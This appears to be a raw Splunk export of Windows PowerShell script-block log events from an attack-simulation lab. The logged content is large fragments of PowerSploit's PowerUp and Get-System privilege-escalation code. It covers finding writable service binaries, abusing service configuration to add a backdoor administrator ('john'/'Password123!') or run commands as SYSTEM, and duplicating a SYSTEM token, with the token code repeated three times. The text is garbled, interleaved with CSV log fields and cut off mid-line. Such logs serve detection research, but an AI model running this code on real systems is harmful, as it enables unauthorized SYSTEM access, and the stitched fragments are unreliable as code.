Enumerates all services and returns vulnerable service files.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ModifiablePath
.DESCRIPTION
Enumerates all services by querying the WMI win32_service class. For each service,
it takes the pathname (aka binPath) and passes it to Get-ModifiablePath to determine
if the current user has rights to modify the service binary itself or any associated
arguments. If the associated binary (or any configuration files) can be overwritten,
privileges may be able to be escalated.
.EXAMPLE
Get-ModifiableServiceFile
Get a set of potentially exploitable service binares/config files.
.OUTPUTS
PowerUp.ModifiablePath
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ModifiableServiceFile')]
[CmdletBinding()]
Param()
Get-WMIObject -Class win32_service | Where-Object {$_ -and $_.pathname} | ForEach-Object {
$ServiceName = $_.name
$ServicePath = $_.pathname
$ServiceStartName = $_.startname
$ServicePath | Get-ModifiablePath | ForEach-Object {
$CanRestart = Test-ServiceDaclPermission -PermissionSet 'Restart' -Name $ServiceName
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceName
$Out | Add-Member Noteproperty 'Path' $ServicePath
$Out | Add-Member Noteproperty 'ModifiableFile' $_.ModifiablePath
$Out | Add-Member Noteproperty 'ModifiableFilePermissions' $_.Permissions
$Out | Add-Member Noteproperty 'ModifiableFileIdentityReference' $_.IdentityReference
$Out | Add-Member Noteproperty 'StartName' $ServiceStartName
$Out | Add-Member Noteproperty 'AbuseFunction' ""Install-ServiceBinary -Name '$ServiceName'""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableServiceFile')
$Out
}
}
}
function Get-ModifiableService {
<#
.SYNOPSIS
Enumerates all services and returns services for which the current user can modify the binPath.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Test-ServiceDaclPermission, Get-ServiceDetail
.DESCRIPTION
Enumerates all services using Get-Service and uses Test-ServiceDaclPermission to test if
the current user has rights to change the service configuration.
.EXAMPLE
Get-ModifiableService
Get a set of potentially exploitable services.
.OUTPUTS
PowerUp.ModifiablePath
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerUp.ModifiableService')]
[CmdletBinding()]
Param()
Get-Service | Test-ServiceDaclPermission -PermissionSet 'ChangeConfig' | ForEach-Object {
$ServiceDetails = $_ | Get-ServiceDetail
$CanRestart = $_ | Test-ServiceDaclPermission -PermissionSet 'Restart'
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'ServiceName' $ServiceDetails.name
$Out | Add-Member Noteproperty 'Path' $ServiceDetails.pathname
$Out | Add-Member Noteproperty 'StartName' $ServiceDetails.startname
$Out | Add-Member Noteproperty 'AbuseFunction' ""Invoke-ServiceAbuse -Name '$($ServiceDetails.name)'""
$Out | Add-Member Noteproperty 'CanRestart' ([Bool]$CanRestart)
$Out | Add-Member Aliasproperty Name ServiceName
$Out.PSObject.TypeNames.Insert(0, 'PowerUp.ModifiableService')
$Out
}
}
function Get-ServiceDetail {
<#
.SYNOPSIS
Returns detailed information about a specified service by querying the
WMI win32_service class for the specified service name.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Takes an array of one or more service Names or ServiceProcess.ServiceController objedts on
the pipeline object returned by Get-Service, extracts out the service name, queries the
WMI win32_service class for the specified service for details like binPath, and outputs
everything.
.PARAMETER Name
An array of one or more service names to query information for.
.EXAMPLE
Get-ServiceDetail -Name VulnSVC
Gets detailed information about the 'VulnSVC' service.
.EXAMPLE
Get-Service VulnSVC | Get-ServiceDetail
Gets detailed information about the 'VulnSVC' service.
.OUTPUTS
System.Management.ManagementObject
#>
[OutputType('PowerUp.ModifiableService')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('ServiceName')]
[String[]]
[ValidateNotNullOrEmpty()]
$Name
)
PROCESS {
ForEach($IndividualService in $Name) {
$TargetService = Get-Service -Name $IndividualService -ErrorAction Stop
if ($TargetService) {
Get-WmiObject -Class win32_service -Filter ""Name='$($TargetService.Name)'"" | Where-Object {$_} | ForEach-Object {
try {
$_
}
catch {
Write-Verbose ""Error: $_""
}
}
}
}
}
}
########################################################
#
# Service abuse
#
########################################################
function Invoke-ServiceAbuse {
<#
.SYNOPSIS
Abuses a function the current user has configuration rights on in order
to add a local administrator or execute a custom command.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-ServiceDetail, Set-ServiceBinaryPath
.DESCRIPTION
Takes a service Name or a ServiceProcess.ServiceController on the pipeline that the current
user has configuration modification rights on and executes a series of automated actions to
execute commands as SYSTEM. First, the service is enabled if it was set as disabled and the
original service binary path and configuration state are preserved. Then the service is stopped
and the Set-ServiceBinaryPath function is used to set the binary (binPath) for the service to a
series of commands, the service is started, stopped, and the next command is configured. After
completion, the original service configuration is restored and a custom object is returned
that captures the service abused and commands run.
.PARAMETER Name
An array of one or more service names to abuse.
.PARAMETER UserName
The [domain\]username to add. If not given, it defaults to ""john"".
Domain users are not created, only added to the specified localgroup.
.PARAMETER Password
The password to set for the added user. If not given, it defaults to ""Password123!""
.PARAMETER LocalGroup
Local group name to add the user to (default of 'Administrators').
.PARAMETER Credential
A [Management.Automation.PSCredential] object specifying the user/password to add.
.PARAMETER Command
Custom command to execute instead of user creation.
.PARAMETER Force
Switch. Force service stopping, even if other services are dependent.
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC
Abuses service 'VulnSVC' to add a localuser ""john"" with password
""Password123! to the machine and local administrator group
.EXAMPLE
Get-Service VulnSVC | Invoke-ServiceAbuse
Abuses service 'VulnSVC' to add a localuser ""john"" with password
""Password123! to the machine and local administrator group
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -UserName ""TESTLAB\john""
Abuses service 'VulnSVC' to add a the domain user TESTLAB\john to the
local adminisrtators group.
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -UserName backdoor -Password password -LocalGroup ""Power Users""
Abuses service 'VulnSVC' to add a localuser ""backdoor"" with password
""password"" to the machine and local ""Power Users"" group
.EXAMPLE
Invoke-ServiceAbuse -Name VulnSVC -Command ""net ...""
Abuses service 'VulnSVC' to execute a custom command.
.OUTPUTS
PowerUp.AbusedService
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingUserNameAndPassWordParams', ''a7b1e4fb-95d2-4636-adf0-00efffb56975C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\PowerUp.ps1","2022-05-02T18:24:40.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122478,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122478,win,337,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0005-4D66-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"22llingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'DuplicateToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'SetThreadToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcessToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'LookupPrivilegeValue',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([String], [String], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'AdjustTokenPrivileges',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32Methods = $Win32TypeBuilder.CreateType()
$Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'}
$GetCurrentProcess = $Win32Native.GetMethod(
'GetCurrentProcess',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$SE_PRIVILEGE_ENABLED = 0x00000002
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
# $STANDARD_RIGHTS_READ = 0x00020000
$TOKEN_ASSIGN_PRIMARY = 0x00000001
$TOKEN_DUPLICATE = 0x00000002
$TOKEN_IMPERSONATE = 0x00000004
$TOKEN_QUERY = 0x00000008
$TOKEN_QUERY_SOURCE = 0x00000010
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
$TOKEN_ADJUST_GROUPS = 0x00000040
$TOKEN_ADJUST_DEFAULT = 0x00000080
$TOKEN_ADJUST_SESSIONID = 0x00000100
# $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
$TOKEN_ASSIGN_PRIMARY -bor
$TOKEN_DUPLICATE -bor
$TOKEN_IMPERSONATE -bor
$TOKEN_QUERY -bor
$TOKEN_QUERY_SOURCE -bor
$TOKEN_ADJUST_PRIVILEGES -bor
$TOKEN_ADJUST_GROUPS -bor
$TOKEN_ADJUST_DEFAULT -bor
$TOKEN_ADJUST_SESSIONID
[long]$Luid = 0
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $Luid
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid)
$htoken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
# $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($RetVal)) {
Write-Error ""[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal"" -ErrorAction Stop
}
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
try {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$Process = Get-Process -Id $_.ProcessId
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
if ($Handle) {
$Handle
}
}
}
}
catch {
Write-Verbose ""[Get-System] error enumerating handle: $_""
}
} | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
Write-Error '[Get-System] Unable to obtain a handle to a system process.'
}
else {
[IntPtr]$SystemToken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""[Get-System] OpenProcessToken result: $RetVal""
Write-Verbose ""[Get-System] OpenProcessToken result: $LastError""
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""[Get-System] DuplicateToken result: $LastError""
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if(-not($RetVal)) {
Write-Error ""[Get-System] SetThreadToken failed, RetVal : $RetVal"" -ErrorAction Stop
}
Write-Verbose ""[Get-System] SetThreadToken result: $LastError""
$null = $Win32Methods::CloseHandle($Handle)
}
}
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Error ""[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag"" -ErrorAction Stop
}
if($PSBoundParameters['WhoAmI']) {
Write-Output ""$([Environment]::UserDomainName)\$([Environment]::UserName)""
return
}
elseif($PSBoundParameters['RevToSelf']) {
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$RetVal = $RevertToSelf.Invoke()
if($RetVal) {
Write-Output ""[Get-System] RevertToSelf successful.""
}
else {
Write-Warning ""[Get-System] RevertToSelf failed.""
}
Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
else {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
Write-Error ""[Get-System] Script must be run as administrator"" -ErrorAction Stop
}
if($Technique -eq 'NamedPipe') {
# if we're using named pipe impersonation with a service
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
}
else {
# otherwise use token duplication
Get-SystemToken
}
Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
}
6dc3f998-f746-426f-86eb-4b0137800789C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\Get-System.ps1",,4104,122466,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,2,2,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Privesc\Get-System.ps1",,,"'5388'",,,,,,122466,,,,"6dc3f998-f746-426f-86eb-4b0137800789","llingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'DuplicateToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'SetThreadToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcessToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'LookupPrivilegeValue',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([String], [String], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'AdjustTokenPrivileges',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32Methods = $Win32TypeBuilder.CreateType()
$Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'}
$GetCurrentProcess = $Win32Native.GetMethod(
'GetCurrentProcess',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$SE_PRIVILEGE_ENABLED = 0x00000002
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
# $STANDARD_RIGHTS_READ = 0x00020000
$TOKEN_ASSIGN_PRIMARY = 0x00000001
$TOKEN_DUPLICATE = 0x00000002
$TOKEN_IMPERSONATE = 0x00000004
$TOKEN_QUERY = 0x00000008
$TOKEN_QUERY_SOURCE = 0x00000010
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
$TOKEN_ADJUST_GROUPS = 0x00000040
$TOKEN_ADJUST_DEFAULT = 0x00000080
$TOKEN_ADJUST_SESSIONID = 0x00000100
# $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
$TOKEN_ASSIGN_PRIMARY -bor
$TOKEN_DUPLICATE -bor
$TOKEN_IMPERSONATE -bor
$TOKEN_QUERY -bor
$TOKEN_QUERY_SOURCE -bor
$TOKEN_ADJUST_PRIVILEGES -bor
$TOKEN_ADJUST_GROUPS -bor
$TOKEN_ADJUST_DEFAULT -bor
$TOKEN_ADJUST_SESSIONID
[long]$Luid = 0
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $Luid
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid)
$htoken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
# $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($RetVal)) {
Write-Error ""[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal"" -ErrorAction Stop
}
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
try {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$Process = Get-Process -Id $_.ProcessId
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
if ($Handle) {
$Handle
}
}
}
}
catch {
Write-Verbose ""[Get-System] error enumerating handle: $_""
}
} | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
Write-Error '[Get-System] Unable to obtain a handle to a system process.'
}
else {
[IntPtr]$SystemToken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""[Get-System] OpenProcessToken result: $RetVal""
Write-Verbose ""[Get-System] OpenProcessToken result: $LastError""
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""[Get-System] DuplicateToken result: $LastError""
$RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
if(-not($RetVal)) {
Write-Error ""[Get-System] SetThreadToken failed, RetVal : $RetVal"" -ErrorAction Stop
}
Write-Verbose ""[Get-System] SetThreadToken result: $LastError""
$null = $Win32Methods::CloseHandle($Handle)
}
}
if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') {
Write-Error ""[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag"" -ErrorAction Stop
}
if($PSBoundParameters['WhoAmI']) {
Write-Output ""$([Environment]::UserDomainName)\$([Environment]::UserName)""
return
}
elseif($PSBoundParameters['RevToSelf']) {
$RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
$RevertToSelfDelegate = Get-DelegateType @() ([Bool])
$RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
$RetVal = $RevertToSelf.Invoke()
if($RetVal) {
Write-Output ""[Get-System] RevertToSelf successful.""
}
else {
Write-Warning ""[Get-System] RevertToSelf failed.""
}
Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
else {
if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) {
Write-Error ""[Get-System] Script must be run as administrator"" -ErrorAction Stop
}
if($Technique -eq 'NamedPipe') {
# if we're using named pipe impersonation with a service
Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName
}
else {
# otherwise use token duplication
Get-SystemToken
}
Write-Output ""Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)""
}
}",,,,,,,,,,,"'2022-05-02T18:24:40.048035200Z'","4104132150x0122466Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122466Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local22llingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder2)
$Win32TypeBuilder.DefinePInvokeMethod(
'DuplicateToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Int32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'SetThreadToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'OpenProcessToken',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [UInt32], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'LookupPrivilegeValue',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([String], [String], [IntPtr].MakeByRefType()),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32TypeBuilder.DefinePInvokeMethod(
'AdjustTokenPrivileges',
'advapi32.dll',
[Reflection.MethodAttributes] 'Public, Static',
[Reflection.CallingConventions]::Standard,
[Bool],
@([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]),
[Runtime.InteropServices.CallingConvention]::Winapi,
'Auto').SetCustomAttribute($AttribBuilder)
$Win32Methods = $Win32TypeBuilder.CreateType()
$Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'}
$GetCurrentProcess = $Win32Native.GetMethod(
'GetCurrentProcess',
[Reflection.BindingFlags] 'NonPublic, Static'
)
$SE_PRIVILEGE_ENABLED = 0x00000002
$STANDARD_RIGHTS_REQUIRED = 0x000F0000
# $STANDARD_RIGHTS_READ = 0x00020000
$TOKEN_ASSIGN_PRIMARY = 0x00000001
$TOKEN_DUPLICATE = 0x00000002
$TOKEN_IMPERSONATE = 0x00000004
$TOKEN_QUERY = 0x00000008
$TOKEN_QUERY_SOURCE = 0x00000010
$TOKEN_ADJUST_PRIVILEGES = 0x00000020
$TOKEN_ADJUST_GROUPS = 0x00000040
$TOKEN_ADJUST_DEFAULT = 0x00000080
$TOKEN_ADJUST_SESSIONID = 0x00000100
# $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY
$TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor
$TOKEN_ASSIGN_PRIMARY -bor
$TOKEN_DUPLICATE -bor
$TOKEN_IMPERSONATE -bor
$TOKEN_QUERY -bor
$TOKEN_QUERY_SOURCE -bor
$TOKEN_ADJUST_PRIVILEGES -bor
$TOKEN_ADJUST_GROUPS -bor
$TOKEN_ADJUST_DEFAULT -bor
$TOKEN_ADJUST_SESSIONID
[long]$Luid = 0
$tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct)
$tokPriv1Luid.Count = 1
$tokPriv1Luid.Luid = $Luid
$tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED
$RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid)
$htoken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken)
# $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct)
$RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero)
if(-not($RetVal)) {
Write-Error ""[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal"" -ErrorAction Stop
}
$LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value
$SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object {
try {
$OwnerInfo = $_.GetOwner()
if ($OwnerInfo.Domain -and $OwnerInfo.User) {
$OwnerString = ""$($OwnerInfo.Domain)\$($OwnerInfo.User)"".ToUpper()
if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) {
$Process = Get-Process -Id $_.ProcessId
$Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id)
if ($Handle) {
$Handle
}
}
}
}
catch {
Write-Verbose ""[Get-System] error enumerating handle: $_""
}
} | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1
if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) {
Write-Error '[Get-System] Unable to obtain a handle to a system process.'
}
else {
[IntPtr]$SystemToken = [IntPtr]::Zero
$RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Verbose ""[Get-System] OpenProcessToken result: $RetVal""
Write-Verbose ""[Get-System] OpenProcessToken result: $LastError""
[IntPtr]$DulicateTokenHandle = [IntPtr]::Zero
$RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error()
